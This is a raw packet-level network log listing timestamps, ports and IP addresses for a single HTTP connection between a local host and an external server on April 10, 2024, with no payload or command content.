Apr 10, 2024 10:23:10.320894957 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.320894957 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.320925951 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.320961952 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.320971966 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.320971966 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.321003914 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.321043015 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.321048021 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.321048021 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.321080923 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.321116924 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.321130037 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.407238007 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.407291889 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.407327890 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.407365084 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.407397032 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.407417059 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.407444000 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.407448053 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.407481909 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.407484055 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.407515049 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.407516003 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.407536983 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.407547951 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.407567978 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.407579899 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.407601118 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.407612085 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.407643080 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.407645941 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.407665968 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.407674074 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.407696009 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.407706022 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.407727957 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.407740116 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.407757998 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.407773018 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.407789946 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.407804012 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.407816887 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.407835007 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.407851934 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.407866955 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.407881021 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.407898903 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.407913923 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.407932043 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.407946110 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.407963991 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.407974958 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.407995939 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.408009052 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.408032894 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.408047915 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.408065081 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.408077002 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.408097029 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.408112049 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.408128977 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.408143044 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.408163071 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.408174038 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.408195972 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.408204079 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.408243895 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.408247948 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.408282995 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.408298016 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.408313990 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.408328056 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.408360004 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.480606079 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.480664015 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.480701923 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.480736971 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.480772018 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.480772018 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.480794907 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.480811119 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.480834007 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.480849981 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.480871916 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.480880022 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.480909109 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.480918884 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.480947971 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.480957031 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.480988026 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.481003046 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.481026888 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.481034040 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.481064081 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.481077909 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.481101990 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.481120110 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.481143951 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.481151104 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.481187105 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.481197119 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.481226921 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.481237888 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.481265068 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.481272936 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.481302023 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.481338978 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.481375933 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.481400013 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.481414080 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.481416941 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.481447935 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.481451035 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.481473923 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.481489897 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.481498957 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.481527090 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.481539965 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.481564045 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.481575012 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.481602907 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.481611967 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.481642962 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.481651068 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.481679916 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.481698036 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.481724024 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.481734991 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.481761932 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.481770039 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.481801987 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.481806993 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.481838942 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.481848955 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.481875896 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.481884956 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.481914997 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.481924057 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.481954098 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.481962919 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.481992006 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.482002020 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.482031107 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.482039928 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.482069969 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.482105970 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.482110023 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.482110023 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.482145071 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.482147932 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.482182980 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.482191086 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.482219934 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.482227087 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.482259035 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.482268095 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.482297897 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.482306957 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.482335091 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.482343912 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.482372999 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.482381105 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.482410908 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.482418060 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.482448101 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.482460022 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.482486010 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.482495070 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.482523918 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.482531071 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.482561111 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.482566118 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.482599020 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.482605934 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.482669115 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.482686043 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.482726097 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.482737064 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.482777119 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.482784033 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.482821941 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.482826948 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.482865095 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.482867002 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.482903004 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.482914925 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.482944965 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.482954979 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.482981920 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.482995033 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.483021021 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.483026981 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.483058929 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.483067989 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.483097076 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.483113050 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.483134985 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.483139992 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.483175039 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.483182907 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.483211994 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.483222961 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.483251095 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.483257055 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.483289003 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.483304024 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.483325958 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.483333111 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.483364105 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.483370066 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.483401060 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.483406067 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.483438969 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.483448029 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.483477116 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.483483076 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.483515024 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.483527899 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.483552933 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.483566046 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.483591080 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.483601093 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.483629942 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.483637094 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.483670950 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.483680010 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.483707905 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.483714104 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.483748913 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.483851910 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.530092001 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.831887007 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.991416931 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.991452932 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.991472006 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.991489887 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.991507053 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.991508007 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.991527081 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.991544008 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.991547108 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.991565943 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.991583109 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.991599083 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.991600037 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.991609097 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.991619110 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.991636992 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.991648912 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.991655111 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.991672039 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.991688013 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.991689920 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.991707087 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.991714954 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.991724968 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.991743088 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.991765976 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.991766930 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.991786003 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.991796017 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.991803885 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.991820097 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.991832018 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.991838932 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.991852999 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.991857052 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.991874933 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.991893053 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.991895914 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.991909981 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.991926908 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.991930962 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.991944075 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.991965055 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.991972923 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.991982937 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992002010 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992005110 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.992021084 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992038965 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992043018 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.992058039 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992077112 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992085934 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.992094040 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992111921 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992120028 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.992130995 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992150068 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992165089 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.992167950 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992186069 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992194891 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.992203951 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992233038 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992233992 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.992254019 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992271900 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992278099 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.992289066 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992306948 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992316008 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992316008 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.992332935 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992346048 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.992352009 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992368937 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992386103 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992388964 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.992404938 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992414951 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.992422104 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992439985 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992450953 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.992458105 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992475033 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992476940 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.992491961 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992508888 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992521048 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.992525101 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992543936 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992547989 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.992561102 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992578983 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992590904 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.992595911 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992614985 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.992615938 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.992631912 CEST	80	49705	216.250.255.115	192.168.2.5
